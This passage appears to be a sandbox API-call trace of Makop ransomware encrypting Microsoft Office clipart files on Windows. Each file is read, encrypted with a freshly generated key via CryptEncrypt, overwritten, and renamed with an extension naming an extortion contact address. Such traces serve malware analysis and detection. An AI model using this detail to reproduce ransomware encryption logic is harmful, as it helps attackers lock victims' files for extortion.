hHeap=0x48a0000) returned 1 [0146.495] GetProcessHeap () returned 0x48a0000 [0146.495] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.495] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.498] CloseHandle (hObject=0xf0) returned 1 [0146.498] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0146.498] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF") returned 63 [0146.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.684] GetProcessHeap () returned 0x48a0000 [0146.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.684] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0146.690] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.691] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.691] GetProcessHeap () returned 0x48a0000 [0146.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.691] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.691] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.691] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.691] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.692] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.692] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.692] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.692] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.693] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.693] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5f2b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5f2b, lpOverlapped=0x0) returned 1 [0146.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f30, dwBufLen=0x5f30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5f30) returned 1 [0146.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5f30, lpOverlapped=0x0) returned 1 [0146.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.728] SetEndOfFile (hFile=0xf0) returned 1 [0146.736] GetProcessHeap () returned 0x48a0000 [0146.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.737] GetProcessHeap () returned 0x48a0000 [0146.737] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.737] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.737] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.739] CloseHandle (hObject=0xf0) returned 1 [0146.739] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0146.739] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP") returned 63 [0146.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.740] GetProcessHeap () returned 0x48a0000 [0146.740] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.740] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.741] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.747] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.747] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.747] GetProcessHeap () returned 0x48a0000 [0146.747] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.748] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.749] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7f68, lpOverlapped=0x0) returned 1 [0146.752] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7f70) returned 1 [0146.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.752] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7f70, lpOverlapped=0x0) returned 1 [0146.753] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.753] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.753] SetEndOfFile (hFile=0xf0) returned 1 [0146.760] GetProcessHeap () returned 0x48a0000 [0146.760] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.760] GetProcessHeap () returned 0x48a0000 [0146.761] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.761] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.763] CloseHandle (hObject=0xf0) returned 1 [0146.763] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0146.763] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF") returned 63 [0146.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.764] GetProcessHeap () returned 0x48a0000 [0146.764] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.764] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.765] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0146.769] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.769] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.769] GetProcessHeap () returned 0x48a0000 [0146.769] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.769] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.770] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.770] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.770] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.771] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.771] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.771] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x50a5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x50a5, lpOverlapped=0x0) returned 1 [0146.773] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x50b0, dwBufLen=0x50b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x50b0) returned 1 [0146.773] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x50b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x50b0, lpOverlapped=0x0) returned 1 [0146.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.774] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.774] SetEndOfFile (hFile=0xf0) returned 1 [0146.781] GetProcessHeap () returned 0x48a0000 [0146.781] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0146.781] GetProcessHeap () returned 0x48a0000 [0146.782] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0146.782] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0146.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0146.784] CloseHandle (hObject=0xf0) returned 1 [0146.784] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d585700, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d585700, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02742U.BMP", cAlternateFileName="")) returned 1 [0146.784] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP") returned 63 [0146.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0146.785] GetProcessHeap () returned 0x48a0000 [0146.785] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0146.785] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0146.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0146.785] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.786] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.786] GetProcessHeap () returned 0x48a0000 [0146.786] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0146.786] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0146.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0146.786] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0146.790] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0146.790] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0146.791] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0146.791] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0146.791] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0146.791] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0146.791] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0146.791] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.792] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7ce0, lpOverlapped=0x0) returned 1 [0146.795] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7ce0) returned 1 [0146.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.795] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x6577aa8, 